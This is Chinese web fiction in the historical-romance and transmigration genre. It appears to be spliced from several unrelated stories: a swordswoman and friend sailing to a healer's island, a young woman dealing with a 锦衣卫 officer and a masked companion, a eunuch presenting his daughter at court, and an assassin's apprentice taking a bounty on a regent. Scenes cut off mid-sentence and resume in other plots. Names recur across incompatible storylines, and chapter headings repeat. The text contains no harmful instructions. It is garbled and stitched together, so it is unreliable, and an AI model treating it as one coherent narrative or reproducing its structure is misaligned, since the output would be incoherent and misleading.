顿了顿,她又补充到道:“也没见过几个比我高的男人。” 这话不知为何触发了谢衡之的笑点,她抱着枕头笑了好一会,露在衣领外面的脖子都笑红了。 两天之后,玄武商船终于抵达碧海潮声。 玄武巨龟浮出水面,这种比鲸鱼还大的玄武巨鬼凶悍嗜血,龟壳和身体都是青黑之色,唯有双目是碧绿色的。 船老大石烈招呼商队和她们两个下了船。 乔装打扮后的谢衡之和裴怀璟随着商队一起进了岛。 他自然清楚,使臣前脚刚走,后脚裴怀璟就被二皇子“请”了过去。 皮开肉绽,筋骨欲折,于裴怀璟而言不过寻常。 可此番却与往日不同。 二皇子虐待完人后,破天荒地遣了太医为裴怀璟疗伤,因而他才在皇宫留了这么些时日。 太阳落下海平面的时候,大海终于稍微平静了一点,裴怀璟被这玄武船晃得头晕,脱了外袍倒在舱室里的床榻上睡觉。 舱室条件有限,床榻和别的区域用一面桃木屏风隔开,屏风的材质是半透明的丝帛,透过烛光可以看见朦胧人影。 谢衡之坐在茶几前擦拭佩剑。 烛火随着船身的晃荡轻轻摇曳,穿着一身白衣的谢衡之坐在昏黄的烛光中,垂眸看向自己的爱剑。 裴怀璟没看过原著,对剧情知道的不多,对碧海潮生不太了解。 可看过原著的谢衡之知道碧海潮生是一个多么危险的地方。 这片海域湍流莫测,看似平静的海面下有各种漩涡暗流,饶是体型庞大的船只经过这片危险海域也会被漩涡卷入海下。 只有生长在这片海域的玄武巨龟才能避开各种漩涡暗流找到碧海潮生岛。 而谢衡之和裴怀璟所乘的这艘巨船,正建造在玄武巨龟的龟甲上面。 要得到两张船票颇为不易,还是谢衡之亮了一手剑法,给船老大石烈当了一段时间护卫,这才有资格和裴怀璟登上这艘船。 除却危险莫测的海域,碧海潮生这座海岛遍布毒虫和致命的瘴气,岛上的弟子性情冷漠,轻易不会医治伤者。 最要命的是,碧海潮生的主人医仙月扶疏和羽朝皇室有几分交情,太子羽重雪更是碧海潮生的贵宾。 谢衡之一剑刺穿太子师弟的胸膛,以太子师弟那个脾性,两人必定不死不休。 如果不是裴怀璟身重尸毒,谢衡之绝对不会踏足这里。 此番前去碧海潮生千万不能暴露身份,一定要谨慎行事,否则下场真的会非常凄惨。 前路莫测,不免让人心中忧虑。 昏暗的烛光里,谢衡之低头看向手中的剑。 再次耽误了祛除体内蛊毒的最佳时机。 陆子昂把新配好的药瓶递过去,鼻尖忽地动了动,神色渐趋古怪。 “你身上这味道” 他常年与药材打交道,嗅觉远比常人敏锐。 此刻,除却熟悉的血腥气与药草苦涩,竟有一道幽香丝丝缕缕缠在少年身上。 碧海潮生岛位于一片人迹罕至的神秘海域中。 从高空俯瞰下去,这个海岛的形状很像连绵起伏的波浪,周围又是碧绿碧绿的海水,所以叫碧海潮生岛。 碧海潮生来了六位弟子给他们引路。和裴怀璟分别的这二十年,风霜刀剑,朔风凛凛,只有细雪常伴身侧。 她的命运已经和手中的剑牵系在一起,再也不能分割。 生也是剑,死也是剑。 借着烛光对着爱剑看了又看,谢衡之这才重新给爱剑乔装打扮。 但凡名剑大多惹眼,先前剑柄总是用布包着,又被裴怀璟拿着烤野鸡,一番烟熏火燎下来,爱剑不禁变得面目全非。 此时即将入岛,这些细枝末节都得注意着,一定要谨慎再谨慎,小心再小心。 谢衡之将寒玉剑柄套上一层金属外壳,又拿出特制的涂料,将寒光湛湛的剑身涂暗了一个颜色,一番加工之后,寒光湛湛剑光逼人的爱剑看上去终于像一把普普通通平平无奇的剑了。 这些弟子们给他们一人发了一瓶避毒丹,一位年长的男弟子叮嘱道:“岛上瘴气有毒,这避毒丹一日一次,进了岛莫要乱走,这里毒物众多,外人进来一不小心就会丢了性命。” 船老大石烈是个四十岁的汉子,平时看起来凶狠野蛮,此刻笑得一脸憨厚,忙不迭地说道:“是是是,我们一定记得。” 一行人跟在这些弟子身后,沿着窄窄的石子小路穿过密林后,眼前豁然开朗,出现了一片精巧的屋舍。 这边是碧海潮生安置往来客商的住所,船老大显然已经来了许多次,轻车熟路地从荷包里掏出一些银钱塞给这六名引路的弟子。 “在岛上这段时间,还请各位小哥多多关照了。” 接了钱,这几名弟子的面色顿时一缓,言语之间也不再那么冰冷无情。 那年长的弟子语气和缓地说道:“有心了,在岛上有什么需要跟我们说就是了,若没有其他事,我们就不打扰了。” 这年长的弟子刚要走,裴怀璟立刻喊住了他. 她热情一笑,也学船老大从袖口里掏出一锭银子放在这名弟子的手心里。 “哥哥好,我和妹妹是来岛上求医的,初次登临贵岛难免人生地不熟,还请哥哥帮帮忙。” 手中的银子很有分量,年长弟子的语气变得更加和缓了。 “去治病得去医宫,有时间的医者会在医宫门口挂上自己的牌子,价格都写在牌子上,你二人去医宫拿牌子就是了。” 裴怀璟又笑眯眯的往他手里塞了一锭银子,“多谢哥哥,还请哥哥帮忙引路了,对了,还不知哥哥怎么称呼暖。” 这位弟子笑得更加和煦了,“好说好说,在下姓徐,单名一个清字,清是清风徐来的清。” 裴怀璟立刻抱拳说道:“原来是徐清大哥。” 两人一路上说说笑笑,谢衡之像只鹌鹑似的跟在裴怀璟身后,对挚友的社交能力佩服的五体投地。 “碧海潮生有四宫,分别是丹宫,医宫,药宫,商宫。” “丹宫炼丹,医宫医人,药宫管理药材,商宫负责日常大小事物。” 裴怀璟说道:“徐清大哥,我中的毒有点奇怪,一般人恐怕看不好,冒昧的请教一下,除了岛主之外,这岛上还有谁医术最好?” 徐清答道:“我们岛主一共有五位弟子,什么都会一点,大师兄善于用毒,二师兄精通丹道,三师兄和四师姐精通医术。” 说到这里,徐清就不往下说了。 裴怀璟觉得奇怪,“徐清大哥,那岛主的第五位弟子呢?” 徐清摇摇头,“小太岁什么都会,而且造诣颇深,最得岛主宠爱,只是性情冷漠,一向深居简出,我们这些寻常弟子很少能见到她。” 一直跟在裴怀璟身后的谢衡之顿时愣住了。 作为一个将原著一字不漏全都看完的人,她从来没听说过什么小太岁。 而且这个时间段,正是女主羽落清刚被收为弟子的时候。 再是开金手指,也不可能在这么短的时间内就得医仙真传,还造诣颇深吧? 原著中,碧海潮生岛的岛主月扶疏确实有五个弟子。像透了那位金尊玉贵的大小姐身上的。 裴怀璟不动声色拢了拢衣袖,腕间那抹异样的香气随之隐得更深。 他抬眼,不着痕迹地岔开话题,声音听不出波澜,“猫呢?” “你问这个做什么?”陆子昂脸色果然慢慢发黑,嘴角却还要僵硬地向上扯,竭力装出一副浑不在意的模样,“跑了。” 还能在哪,被它的主人带走了呗。 裴怀璟冷冽如水的目光,掠过好友腰间普蓝色的香囊。 第 56 章 第 56 章 “所以这也是次抛的,用一次就丢?” 温晚笙从桌子底下接过东西,好奇地左右端详了一番。 提及这等私密之事,谢令仪耳尖悄然染上一层薄红。 她下意识四下看了看,确认大家都在自顾自地说话,才轻轻点了点头,解释道:“还有这个药,是专门调理腹痛的。” “呜呜呜,令仪你真好!”温晚笙一边说,一边快速站起身。 谢令仪笑得腼腆。 香囊上有个用金线绣成的黑字,温晚笙看了一眼,猜测黑右边应该还会绣上个犬字,最终结成一个“默”字,夏子默的“默”。 裴馨宁留意到她的眼神,匆匆地找块布盖住了。 欲盖弥彰。温晚笙逗她:“原来你还会做香囊啊,瞧着还不错,快做完了吧,做给谁的?” 她扭扭捏捏,声如蚊呐:“我、我就是做给自己的。” 温晚笙不逗她了,掀开那块布,拿起那个香囊来看,开门见山问:“你还在生夏世子的气?” 裴馨宁抢回香囊扔到地上,眼眶红了,发泄出近日积攒着的情绪:“他取笑你,此非君子所为,我日后不会再跟他有任何往来。” 陶朱捡起香囊,想交还给她,她不接,所以递到温晚笙手上。 温晚笙塞进裴馨宁怀中:“你真的误会夏世子了,他那日没有取笑我的意思,事后还向我道歉解释了,我根本没放心上。” 裴馨宁呆愣愣坐着,任由丫鬟给自己擦眼泪,却没再扔香囊,无意识地摩挲着上面的绣字,有点不可置信:“他跟你道歉了?” “对。”温晚笙往她因惊讶而微张开的嘴塞了一颗甜枣。 “唔……”裴馨宁咬住。 她问:“甜不?” 甜枣甜到心坎里了,裴馨宁垂着眼咀嚼几口,慢慢地咽下去,也喂了温晚笙一颗甜枣,肉眼可见的开心了:“甜,你也吃。” 不久后,芷兰回来了,还带回来一封信:“三姑娘,这是夏世子拜托奴转交给您的信。” 裴馨宁立刻站起来,又觉得自己反应太大,看了温晚笙一眼。 温晚笙不想打扰他们两个小情侣互诉衷肠,溜之大吉:“我想起还有点事要办,先走了。” 信被裴馨宁攥在手里,她依依不舍挽留:“再待一会?” “我真有事,得走了。”温晚笙知道裴馨宁其实很想看那封信的了,只是碍于她在不好意思。 “好吧,后天便是观莲节了,你能不能陪我去看?” 她不假思索:“当然。” 在裴馨宁送她离开时,温晚笙装作不经意地提起了裴怀璟,然后从裴馨宁口中探得一些有关于他的消息,打着自己的小算盘。 出了通长廊的垂花门再过一座水桥便是裴家大门。 温晚笙依稀看到大门前站着一个人。青年墨发束起,面容俊俏,眉眼看似随和,身着广袖袍,蹀躞带,绣纹简单雅致,身姿清越高挑。说来也巧,她自己的月事刚过,这药原本已服完了。 可兄长不知怎的又从外头带了些回来,倒正好能解温姐姐的急。 温晚笙净手回来,身上总算恢复了清爽。 她从昨夜到现在,用的全是手帕。 但凡月经早来半盏茶的功夫,她真是一条帕子都不会送给裴怀璟。 她自己前前后后也就两条,换的时候还得把另一条洗了晾着,轮流周转。 幸好量不算多,否则真要把人折腾得够呛。 这一支箭惊扰了不少行人,他们到处张望,纷纷躲避,唯恐会有下一支箭射来。今安在反应极其迅速,眸光一凛,本能拔剑。 他目光锁定西街东南方向,准备动手:“你先找地方躲。” 她拉住他:“慢着。” 今安在不解地看着温晚笙,她不是最怕死?不像以往那样迅速躲起来就罢,还拦住他行动。 温晚笙没空详细解释,只飞快道:“射箭的是锦衣卫。” 听她说是锦衣卫,今安在将剑插回鞘,他还以为是那些追杀他的人知道了他的行踪,找了过来。不是倒还好,有转圜余地。 温晚笙看到裴怀璟的那一刻便知他为什么会身处西街,想必是还在查花魁游街当日遇箭一事,试图找出射箭的确切位置和射箭之人。 可大白天的,街上还那么多人,他不该在这个时候验证吧。 转念一想,锦衣卫仗着直接对皇帝负责,行事风格确实雷厉风行、不受约束、胆大妄为。 只是这箭怎么好巧不巧地射到她脚旁,难不成裴怀璟是故意的?站在窗前试箭,正好看见她经过后,心念一动,想借此机会杀她? 也太不像。 以裴怀璟的性格,想杀她不会用如此张扬的手法,所以刚刚到底是凑巧,还是无意而为之? 正当温晚笙如堕五里雾中时,裴怀璟不知何时来到了她面前,他弯下腰,轻松拔出深嵌青石板道的铁箭,交给随行的锦衣卫。 裴怀璟先是看了一下温晚笙身边的少年,再跟她表示歉意。 “抱歉,刚失手了。” 即便温晚笙今天女扮男装,样子也很好认,如果不戴面具,见过她的人一眼就能认出她是谁。 更别提裴怀璟这种常年需要识别罪犯的伪装,实施抓捕的人。 温晚笙虽然很想也朝裴怀璟射一箭,再跟他道歉,但还是选择了故作大度:“没事,又没射中我。裴大人是在查那日的事?” “是。” 裴怀璟许是终于记起不能外泄锦衣卫公务,没多提,随后说为表示吓到她的歉意,会派人送一些养神补药到温家。 他低头看掉到地上的萝卜糕,有些断成两截了。 温晚笙一愣,补药?她最讨厌吃药了,补药也是,而且送到温家,还不一定能够落到她手上,被某个人拿走当人情也是有可能的。 她刚要拒绝,眼前却忽然仿佛有闪闪发亮的银子飘过,立刻改口道:“可不可以折现?” “折现?”裴怀璟怔住。 “就是你把买补药的银两给我,我自个儿去买,不用麻烦你。”温晚笙生怕裴怀璟反悔,不给了,解释快得很,说话不带喘气。 她这哪里是不想麻烦对方买补药送到温家,分明是觊觎着银两。今安在忍不住翻了个白眼,幸好有面具挡住脸,旁人没瞧见。 裴怀璟倒是答应了,从腰间拿出一张五百两的银票递给温晚笙。 五百两……书斋得接多少单生意才能赚到这个数?他要不再朝她射一箭?不会中的那种。温晚笙眨了眨眼,感觉自己在做梦。 温晚笙看到银票面值,心花怒放,恨不得跳起来,废老大劲才压住疯狂往上扬的嘴角。 “这太多了,怎么好意思呢。”她边说边把银票往怀里揣。 裴怀璟将温晚笙一举一动看在眼里,语气寻常:“本就是我惊扰了温七姑娘,这都是应该的。” 温晚笙笑了笑,又悄无声息地摸了摸怀里的银票,一颗心激动得热乎乎的。不知道是不是她的错觉,今天的裴怀璟更好看了。 今安在默默地离温晚笙几步远,想装作不认识她。 裴怀璟看向今安在,目光不动声色扫过他所戴的面具,停在他手中的黑铁剑:“这位是……” “他是我朋友。”温晚笙知道裴怀璟想要问些什么。 西街经过射箭的小插曲后不久又恢复如初了,百姓见自那箭后没再发生什么便没太在意,只是会绕开这些锦衣卫走罢了。 放眼看去,靠耍杂技谋生的人在街边表演,花样多得令过路百姓眼花缭乱;小贩忙碌得不行,孩童玩闹,各种声音交织成一片。 周围太吵,裴怀璟好像没听清楚:“他是温七姑娘的朋友?” 温晚笙不太想让旁人知道今安在的来历,总感觉会对他不利,毕竟她是从乱葬岗救他回来的,对他的身份一概不知,也没想过问。 她笑着道:“嗯,他是我的朋友,叫今安在。” 阳光下,裴怀璟姣好的五官惊艳,脸部线条流畅,要不是他身穿象征着锦衣卫的飞鱼服,恐怕会有不少经过此处的百姓盯着他看。 他平易近人道:“原来温七姑娘还认识江湖上的朋友。”终日行走江湖的人的穿着打扮与普通人不太一样,非常容易辨认。 “偶然间认识的。”见此,今安在缓慢地松开握住剑柄的手,看裴怀璟的眼神隐有一丝意味深长。 温晚笙还愣在原地。 蛇窜起来想咬人跟裴怀璟捏住它七寸这两件事皆发生在一瞬间,快到她只看到一抹残影,再定睛一看,蛇已经在他手上了。 她佩服裴怀璟反应力过强的同时有危机感,要怎么样才能亲到这样的人,并且能全身而退? 温晚笙目前毫无头绪。到观莲节这天,温晚笙早早从床上爬起来梳妆打扮,今日与裴馨宁有约,总不能让对方等她。 早起的后果就是不停地打哈欠,困意未尽,温晚笙闭眼坐在镜子前,一动不动,任由下人站前站后为自己搽脂抹粉、绾发。 她坐着也能睡着,脑袋蓦地往一侧倒去,被陶朱接住。 不止温晚笙没能看清裴怀璟的动作,就连那些训练有素的锦衣卫也没能看清,几乎处于状况外。 “大人,您没事吧。”他们上前几步,望向他的手,净白匀称五指正捏住泛着滑腻青色的蛇,两道截然不同的颜色相映。 温晚笙本以为裴怀璟会动手捏死这条蛇,但他没有。 舞蛇人结束表演后发现刚抓回来不久,还没拔掉毒牙的青蛇不见了,找到他们这里,见抓住蛇的人是个锦衣卫,瞬间面色惶恐。 万一伤到锦衣卫…… 他弱声:“大人,这蛇是小人的,它、它有没有伤到您?” 裴怀璟并无责怪舞蛇人的意思,将那条青蛇放进他抱着的竹篓,和颜悦色道:“没受伤。” 舞蛇人抱着竹篓像抱着个烫手芋头,忐忑道:“这蛇惊扰了大人,不如您将它打杀了?”损失一条蛇,换来他的心安,也值了。 裴怀璟:“它惊扰了我,也得到了应有的惩罚,你带走吧。” 此话听在过路人耳中,只觉他有着颗仁善之心,蛇要咬他,他仅仅是为自保捏住了它的七寸,都没伤着它,这就算得到惩罚了。 温晚笙却总感觉不太对。 今安在冷然抱剑而立,静静地看着,置身事外。 舞蛇人忙不迭地抱着竹篓跑了,害怕跑晚一步会被以用毒蛇袭击锦衣卫的罪名抓进牢里。 温晚笙没有在大街上久留,拉着今安在去找布料货源了。 裴怀璟毫无波澜地看着他们远去,转身从锦衣卫手里拿过那一支差点射中温晚笙的铁箭,指尖压过铁镞,感受其冰冷与锋利。 过了片刻,有锦衣卫过来道:“大人,厂督想见你。” 厂督是东厂的首领太监,而东厂如今与锦衣卫表面和睦,实则势如水火,互相争权,互相压制。厂督要见他,准没好事。 裴怀璟把箭折成两截,弯了眼,轻笑道:“厂督要见我?” 温晚笙佯作若无其事地挪到今安在面前,想挡住他,可她比他矮不少,又比他瘦,横竖都挡不住,反而弄得画面看起来有点滑稽。 她的小动作哪里逃得过裴怀璟的眼睛,他似被逗笑了:“我虽是锦衣卫,但也不会随随便便抓人,温七姑娘急着护他作甚。” 温晚笙矢口否认:“裴大人多心了,我只是动了一下而已。” 不远处有人舞蛇,没关牢装蛇的竹篓,一条青蛇爬了出来,离他们越来越近,由于街上人多,它又在地上爬动,并不显眼。 裴怀璟背对着蛇爬来的方向,他没怎么深究她说的话:“冒昧问一句,今公子为何戴面具?” 她抢着回答道:“他长得太丑了,怕吓到人。” 今安在掩在面具下的眼睛看着裴怀璟,硬邦邦应和一句:“吾貌奇丑,确实不堪观瞻,小儿见了恐会啼叫,常人见了也会嫌恶。” 裴怀璟没让今安在摘下面具,只道:“我见过那么多人,除了受过刑的,还从未见过小儿见了会啼哭,常人见了会嫌恶的。” 温晚笙讪笑道:“世界之大,无奇不有嘛,实属正常。” 她眼观鼻鼻观心,话锋一转:“我们还有点事,先走一步,就不打扰裴大人继续查案了。” “既然如此,温七姑娘慢走。”裴怀璟侧身给他们让路,他身后的锦衣卫也齐刷刷地让开。 便是此时,青蛇窜起来朝裴怀璟扑去,温晚笙是第一个看见的。 “有蛇!”她喊。 今安在当即欲拔剑砍断它,却见裴怀璟反应更敏捷,先一步捏住了蛇的七寸,位置分毫不差。因为蛇的头部受限,所以没法转过头来咬抓住它的那只手。 场面再度陷入沉默。 只有木桨划开水面的声音,一声,又一声,单调地重复着。 “温姐姐可还记得儿时,”楚怜芝忽然开口,指尖轻轻拂过被风吹乱的发丝,唇角弯起一抹怀念的笑,“你将划船的桨扔到湖底,我们差点就回不去了。” 温晚笙挠了挠头,原身还真是皮,“好像是有这么一回事哈。” 楚怜芝蓦然站起身,眸色悠远。 温晚笙心里莫名有不好的预感,也跟着站起来,走到她旁边。 楚怜芝的目光飘向了邻船。 青年侧影清隽,望着远处的山色,不知在想些什么。 “公主,咱们还是回去坐” 话音未落,耳畔传来轻呼。 “啊!”楚怜芝身子一歪,整个人朝着水面跌去。 温晚笙赶紧伸手去拉,指尖却只触到倏然掠过的衣料。 “扑通”一声,水花四溅。 “公主!” 这不是她想要的吊桥效应啊!! 温晚笙当机立断,蹬掉脚上的绣鞋,但还没来得及跳下去,船身猛地打了个大晃。 脚下一滑,她整个人向后仰去。 第 57 章 第 57 章 湖水从四面八方涌了过来,瞬间夺走了温晚笙的呼吸。 她并没有做好准备,因为紧张,一口又一口水呛进鼻腔。 她试图保持理智,但手脚完全不听使唤,本能地拍打水面。 更糟糕的是,她的脚好像被什么东西束缚住了。 别说救楚怜芝了,她连自己的小命都难保。 “系统?系统?”她在心里呼救。 前来迎接的宫女虽是领了皇命,却也不敢当面反驳时序。 听了时序的话,她面容微变,又很快收拾好表情,福了福身,轻道一声:“是,奴婢明白了。” 说完,她极有眼色地退到一侧,与她同行的宫女内侍们也停下脚步,井然有序地退回原处,从始至终不见抬头。 但与之相对的,时一等人也在问询后从此地离开,往与揽芳殿相反的方向离去。 皇帝宴请的乃是时序父女,余人不在邀请之列,自然也没有登堂的资格,他们虽是与时序一同入宫,更多还是为了办公。 离京数月,不光时序有许多积攒的公务,他们作为司礼监掌印的左膀右臂,待处理的事务只多不少。 外人只知掌印威名,然偌大一个司礼监,不可能全由他一人管理,掌印之下另有秉笔、提督若干,除了几个不太重要的位置,其余会牵扯朝政诸事的位子,全由他几个干儿子把控着。 就像时一和时二,便是掌印之下唯二的秉笔太监。 而司礼监掌有批红拟政之权,为方便平时办公,宫廷内外都设有衙门,宫里的办公场所甚至紧邻皇帝理政的海晏殿,哪怕只是其中的一个小小随堂,在外也是能叫三品大员礼让的存在。 许是瞧见了温晚笙眼中的好奇,时序温声为她解释了几句。 只是想着她年纪还小,时序只挑了些易懂的讲给她听。 他本意是叫女儿多几分底气,便是等会儿见到皇子皇女们也无需太过谦卑忍让。 却不想这些话到了温晚笙耳中,反叫她生出几分警惕来。 温晚笙可是清楚记着,书中的掌印可谓下场惨淡,那些追随他的属下更是没有一个好下场,就说她知道的几个掌印义子,也是死的死废的废,沦落到掖庭刷夜壶的不在少数。 究其原因,无非是因为士人看不惯宦官掌权,且越到后面,时序行事越是狠厉,不管是皇帝下令,还是出自他自己的私心,死在司礼监的官员数不胜数,朝廷百官利益被深深触动,这才引发了无数场对司礼监的攻讦,为首的掌印更是首当其冲。 等到了书中的大后期,到街上随便揪一个孩子,问及司礼监掌印,也是唾弃不止,张口闭口全是奸佞、坏蛋等辱骂的词语。 可作为已与掌印亲爹相处了三个月的亲闺女,温晚笙完全无法接受这些词汇被安在时序身上—— 她爹才不是大坏蛋! 好在她当下所处的时间段距结局尚早,书中的主角如今也不过是个十几岁的少年,同样,距离司礼监掌印成为人人喊打的佞臣还有数十年时间。 十年,足够改变许多事了。 不过瞬息间,温晚笙就想了很多,为了印证她的想法,她又试探问道:“那阿爹已经是很厉害的存在了?” 时序有些惊讶,旋即轻笑一声:“当然不。” “咱家这一身本事皆仰赖陛下信任,若无陛下看重,咱家一个无根之人,谈何权柄在手呢?更何况便是这权柄也是陛下的,咱家不过是替陛下分忧代掌,只要陛下一声令下,咱家随时能将手里的权利交回去,甘愿做回陛下的家奴。” 无论真心还是假意,这话听得温晚笙和暗处的人皆松了一口气。 要知道,一人之下万人之上的内相可不只是说说而已,能以宦官之身执掌大半朝堂,这份荣誉足以叫时序傲视所有。 不说与皇帝平起平坐,也是无需当众说这等自贱之言的。 能叫他说出这些话,便说明当下的时序,还维持着表面上的贤臣,就算外面对他偶有诋毁之言,也远不到无可挽回的地步。 温晚笙蜷了蜷指尖,似懂非懂地点了点头:“那我知道了,最厉害的该是皇帝陛下才是。” “正是。”时序赞许地捏了捏她的掌心,“待会儿见了陛下,阿归千万记着谦恭,咱家之前在马车上教你的可都记下了?” “嗯嗯。”温晚笙忙不迭点头。 宫道上发生的事很快传到皇帝皇后耳中,连着时序那些表忠心的话,也一字不落地被复述至皇帝跟前。 端庄素雅的皇后抿唇笑道:“时公公待陛下一向忠心,说出这话倒也不足为奇了。” 在皇后左手侧,年轻俊朗的新帝轻哼一声,虽未有赞同,可转头就吩咐道:“时序可是说他那女儿怕生?” “既如此就叫皇子皇女们过来正殿吧,总归只是个私宴,原想着他们小孩子单独一殿更放松些,既然那小姑娘黏她爹,大人小孩就不分宴了,都是自己人,没那么多规矩。” 可就在半月前,皇帝还气冲冲地埋怨,说那时序简直胆大包天,莫名其妙整出个女儿也就罢了,如今更是为了那小姑娘连公务都不管,一走就走两三月,底下人也带走大半,真是不像话! 这才过了多久,竟又成了自己人。 看着皇帝那表面不假辞色,实际被哄宽了心的模样,皇后不禁掩唇轻笑,顾及着皇帝的颜面,方没开口打趣。 半刻钟后,一众皇子皇女们从偏殿挪过来。 就在他们刚刚入席,就听内侍来报:“启禀陛下,时掌印携其女殿外觐见。” 皇帝只矜持了一瞬,很快摆手:“传进来!” 很快,温晚笙和时序一同入殿。 不等上面的人发话,时序已经带着温晚笙跪倒下去,规规矩矩行了三跪九叩的大礼,又率先请罪道:“臣有负陛下期望,臣万死啊!” 他假模假样地挤出两滴眼泪,先说自己误了正事,又说愧对皇帝信任,从头到尾没提温晚笙一个字,可句句都说离职也是无奈。 温晚笙倒牢牢记着阿爹的叮嘱,哪怕礼节行得不是那么标准,可也不曾窥探圣颜,叩拜之后只管低着头,乖乖跪在时序身侧。 就在这时,她忽然听见一句—— “臣得陛下提携,本该为陛下鞠躬尽瘁,可臣突然得知女儿存在,一时情难自已,旁人只道臣又犯了认干儿干女的毛病,臣却不敢欺瞒陛下,阿归乃是臣的亲闺女啊!臣可就这么一个命根子!” “臣向陛下发誓,此番渎职仅此一次,往后诸事必以陛下为先,陛下于臣之大恩,当万死而报,如有再犯,请陛下砍下臣的头颅,以儆效尤!” 说完,时序稽首大拜。 温晚笙懵懵懂懂,可看阿爹都拜了,她也只能跟上,双手叩地,再将额头抵在手背上,支着耳朵去听裴围的动静。 少有人知道,皇帝此番设宴,既是想对时序玩忽职守的行为敲打敲打,也是想试探试探他对温晚笙的态度。 饶是外面传得沸沸扬扬,只说时掌印认了个干闺女。 可皇帝毕竟是九五之尊,那些不知真假的传言,只有去伪存真后才会送上他的桌案,更别说在时序的授意下,司礼监的人并没有刻意隐瞒实情,前来探查的皇家暗卫早将来龙去脉禀明皇帝,无论是温晚笙的真实身份,还是时杨氏的遭遇。 若非如此,当初他也不会同意时序的告假。 唯一叫他不满的,无非是他当初以为时序此去最多一个月,谁成想这人失了分寸,竟足有两三月不在京。 若非司礼监一切运转正常,时序早被治了罪。 不久前皇帝还跟皇后说:“且等朕问问他,他是认了个干女儿还是如何,若他老老实实承认了他得了个亲闺女也就罢了,若他咬死是认的干亲……哼!” 皇帝能容忍时序大权在握,也能默许他无诏离京,但这一切都是在他忠心不二的前提下,但凡他对皇帝有丝毫隐瞒,这信任一旦有了裂缝,余下的什么都不好说了。 皇帝只是没想到,这真把人喊来了,竟无需他问,时序先和盘托出,端得一派知无不言的模样。 也不知是被时序的话震到了,还是不知作何反应,皇帝皇后皆是无话,而左右列为的皇子皇女们更是不敢吱声。 过了不知多久,才听皇帝沉声问道:“你说,这是你亲闺女?” 心照不宣之事,双方却都需要一个台阶下。 “回陛下,正是。”时序又磕了一个头,“陛下知晓,臣乃七年前入宫,入宫前曾有发妻,后全家遭难,臣只以为妻子也去了,万不想拙荆侥幸逃命,还为臣诞下一女。” “臣的女儿实是意外,绝非臣祸乱宫闱藐视宫规所出!求陛下看在臣这女儿幼年丧母又寻亲不易的份上,允臣将其抚养长大。” 起因、经过、苦衷、诉求。 时序字字真切,毫无隐瞒。 他知道皇帝不会拒绝他的请求,而阶上的皇帝也松了一口气。 倘若时序家里冒出来的孩子是个男孩,皇帝还真要考虑考虑对他的处置,太监内侍之所以能得天家信赖,多半是因为他们无根无嗣,谋求再多也无人继承罢了。 但既然是个女儿,亲生也好,干亲也罢,将来也就是多给她置办些嫁妆,寻个好夫家,其余倒不用担心。 从始至终,皇帝要的,也不过是时序的坦白和忠诚。 或许有人无法理解堂堂帝王至尊,何必对一个太监在意至此。 然皇帝之所以能登上帝位,从一个默默无闻的皇子成为众皇子之间的赢家,时序在其中起到了无可或缺的作用。 便是到了今日,皇帝也不知道,当初那个从洒扫太监一跃成为先帝心腹的时公公,如何会找上他,直言要助他荣登大宝。 而时序所求,仅有京城林家的性命。 皇帝深觉,这等善于隐忍潜伏之人,若能为他所用,当为他最大助力,既是驭下,恩威并施尤为重要。 以往的时序无悲无喜无欲无求,反常叫他不知如何嘉赏,好不容易见他有了在乎的人,倒给他提供了赏赐的对象。 眼下皇帝想听的话都听到了,想见的态度也都看见了,自然也不用再端着架子,在一片寂静中站起身来,不急不缓地走到阶下。 他亲自将时序扶了起来,缓声道:“掌印为人,朕自是清楚,既是掌印爱女,朕只会爱屋及乌,谈何驱逐慢待呢?” “掌印刚刚说的,实是言重了。” “陛下——” 君臣二人面对着面,好一副明君贤臣的画面。 唯有温晚笙还是跪在旁边,两只膝盖有点发疼,却也不敢出一点声音,她刚想偷偷往旁边看一眼,就觉有好几道目光凝在她身上。 不等她想明白这是怎么回事,她忽觉头顶出现一片阴影。 下一刻,一只五指圆润透粉的手抚在她小臂上,不轻不重地将她扶起来。 温晚笙抬头一看,竟是皇后过来了。“师兄师姐师弟师妹——!” 黎安在啪地一掌推开了后厨的门,看到一张张亲切的面孔朝他看过来。 他举起食盒,大喊一声:“我!出!师!了!” “请大家吃桂花糕,我自己做的!” 众人围过来,七嘴八舌地问。 “哼哼~”黎安在骄傲地叉腰,扬着脖子说,“师父终于招架不住我的死缠乱打,同意破例再让我考核一次,这一次我可没抽到那个完全不可能完成的考核。” “那很好呀!”众人捧着桂花糕嚼嚼嚼。 “这次,我就用了半柱香的时间,就一举通过考核,顺利出师!” “好厉害。”嚼嚼嚼。 黎安在眼睛亮亮的,眨眨眼,笑着问:“桂花糕好吃吧?” “好吃。”嚼嚼嚼。 “那阿兄阿姊阿弟阿妹,我的好同门们~” 黎安在双手贴在一起,举过头顶,弯下腰大声说,“能不能给我讲讲楼里还剩下什么悬赏可以接?” 说完,直起身子,眼巴巴地瞅着同门。 一位师姐就捂嘴笑:“小黎这是在贿赂我们呐?” 黎安在目移,吐了吐舌。 最年长的师兄从柜案中取出一沓悬赏令来,一边翻,一边问:“小黎你想接什么样的悬赏?有的路途远,但胜在容易……有的比较繁琐,但安全……有的赏金高,但任务艰巨……” 说到这,黎安在立刻乖乖举手,毫不犹豫地说:“我要选赏金高的!” 后厨的桌边爆发出一阵笑声。 “黎黎好实在!” 师兄看了黎安在一眼,收回目光,落到手中的悬赏令上,那上面用枕水楼的暗纹藏色,印下一个“天”字令级别。 手指握在纸张的边缘,不自觉用力,将纸张拧得有些皱,想起师父刚刚临时将他召过去的对话内容,仍是犹豫了半响。 最终还是抽出这张悬赏令,放在柜上,平推给黎安在。 “小黎你看一下,这是昨晚有人新到楼里挂上的悬赏,赏金三千两白银。” 三千两白银! 那相当于临安城潘楼街北侧一套房产了! 黎安在伸出蠢蠢欲动的爪子,把悬赏令扒拉到自己手里。 看到悬赏令上的名字和画像,黎安在莫名停顿了一瞬。 黎安在觉得自己可能是被那么多银子冲昏头了,没当回事,定了定心神,面对一众同门好奇地视线,缓缓开口念出了悬赏令上的名字。 “刺杀……摄政王……燕歧?” 话音冷不丁坠地,一石激起千层浪。 众人轰地一声,七嘴八舌地炸开了锅。 “什么?!” “不行!” “黎黎,别接这个,太危险了!” “师兄,你怎么给小黎推这么危险的悬赏啊?” “昂?”黎安在茫然抬头。 “摄政王这个人,你知道么,现在才二十有八,年纪轻轻就已经权倾朝野,简直就是一人之下万人之上,甚至连皇帝都要礼让三分。” 原是皇后看时序坦诚得差不多了,皇帝也顺阶就下,他们两人全都说开,反顾不上旁边的小姑娘,她只好帮皇帝表露一番善意。 